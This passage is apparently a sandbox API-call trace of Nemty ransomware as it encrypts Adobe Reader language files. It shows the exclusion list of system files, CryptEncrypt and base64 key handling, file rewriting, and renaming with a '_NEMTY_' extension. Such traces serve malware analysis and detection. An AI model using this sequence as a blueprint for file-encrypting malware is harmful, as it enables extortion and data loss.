(lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="RECYCLER") returned -1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="bootmgr") returned 1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="programdata") returned -1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="appdata") returned 1 [0215.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.723] Sleep (dwMilliseconds=0x5) [0215.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34390a30, dwHighDateTime=0x1d561e8)) [0215.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34390a30, dwHighDateTime=0x1d561e8)) [0215.730] GetLastError () returned 0x0 [0215.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.730] GetLastError () returned 0x0 [0215.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.730] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.730] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.731] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.731] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="01djaE2MIfIMgB71euevK6C5LJ312287UgbP3YobQPDO91UYQL50tXM/i809QI4O\r\nGYLM907EKnvsm+0/OHmvpli1RStItJuFdTC2hHWe7QWfT9B0Uc9jCrXPdsJVz00Y\r\nzDi8Q+26b2PK2qpcxNskm+bwlddoMiVqiMmBrQ2KYwq7prPYVbvRaE+VQToQhueE\r\ni1VqibZ6q0eYlVo+HPZb4YW+FQOyejQ08uZJ28GuJCtviNxqWN3aTN0cLvZHpgU1\r\n7U2HbvOB16ZKzPdiWCLMUGS4431nn2r5DytIk2vdFlS63PEA2PJu8yFyzc2kdYmC\r\n31WBltqHmLBK898MA7xabg==\r\n", pcchString=0x653e5dc) returned 1 [0215.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.731] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.731] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28488) returned 1 [0215.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6f40) returned 0x6352c48 [0215.731] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.731] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6f40, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6f40, lpOverlapped=0x0) returned 1 [0215.735] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.735] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6f40, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6f40, lpOverlapped=0x0) returned 1 [0215.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.735] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f48 [0215.735] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.735] CloseHandle (hObject=0x2e8) returned 1 [0215.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.736] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt._nemty_kgobjgd_")) returned 1 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.737] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f44, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.fr_FR_PREEURO.txt", cAlternateFileName="DIFF6A~1.TXT")) returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2=".") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="..") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="...") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="windows") returned -1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="rsa") returned -1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="ntldr") returned -1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="IO.SYS") returned -1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="desktop.ini") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="RECYCLER") returned -1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="bootmgr") returned 1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="programdata") returned -1 [0215.737] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt", lpString2="appdata") returned 1 [0215.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x63400a0 [0215.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400a0 | out: hHeap=0x4f90000) returned 1 [0215.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340218 [0215.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340048 [0215.738] Sleep (dwMilliseconds=0x5) [0215.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x343b6b90, dwHighDateTime=0x1d561e8)) [0215.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x343b6b90, dwHighDateTime=0x1d561e8)) [0215.746] GetLastError () returned 0x0 [0215.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.746] GetLastError () returned 0x0 [0215.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.746] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.746] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.746] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.746] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="hv2gEfZ6P5HugcPho5CEs+GQlVmVMha2DaYM7yKb4pQxmW3pMtwm1xFJvMqVROWl\r\neqnYBHhz+BdNbLzRrXiEYVIZMTPGM0DbiXmzTbIql47n2eApEoIGXbcSjx66k78u\r\nrc/XaChAA0NVaYS7WVO7MT594D2zJE7GSqdn4aHdO88wIIWMgurLamc3gNXRJWpo\r\nUusEnpkx01O7Uo0IOO7PFmbRmqpSwPHNYGDszR8yp1U5yjxOQmxao8b8PTxFGaSv\r\nd1aVYWT+XkJHEV99GzzR8nJIJiVMbsgOocYgAvadkdJfLb0TkAoe8hRd8+XHdF+S\r\nWjTW+wW7wHxGZ9yinjQjUg==\r\n", pcchString=0x653e5dc) returned 1 [0215.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.747] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28484) returned 1 [0215.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6f40) returned 0x6352c48 [0215.747] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.747] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6f40, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6f40, lpOverlapped=0x0) returned 1 [0215.751] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.751] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6f40, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6f40, lpOverlapped=0x0) returned 1 [0215.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.751] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28484, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f44 [0215.751] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.751] CloseHandle (hObject=0x2e8) returned 1 [0215.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340310 [0215.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.751] RtlAllocateHeap 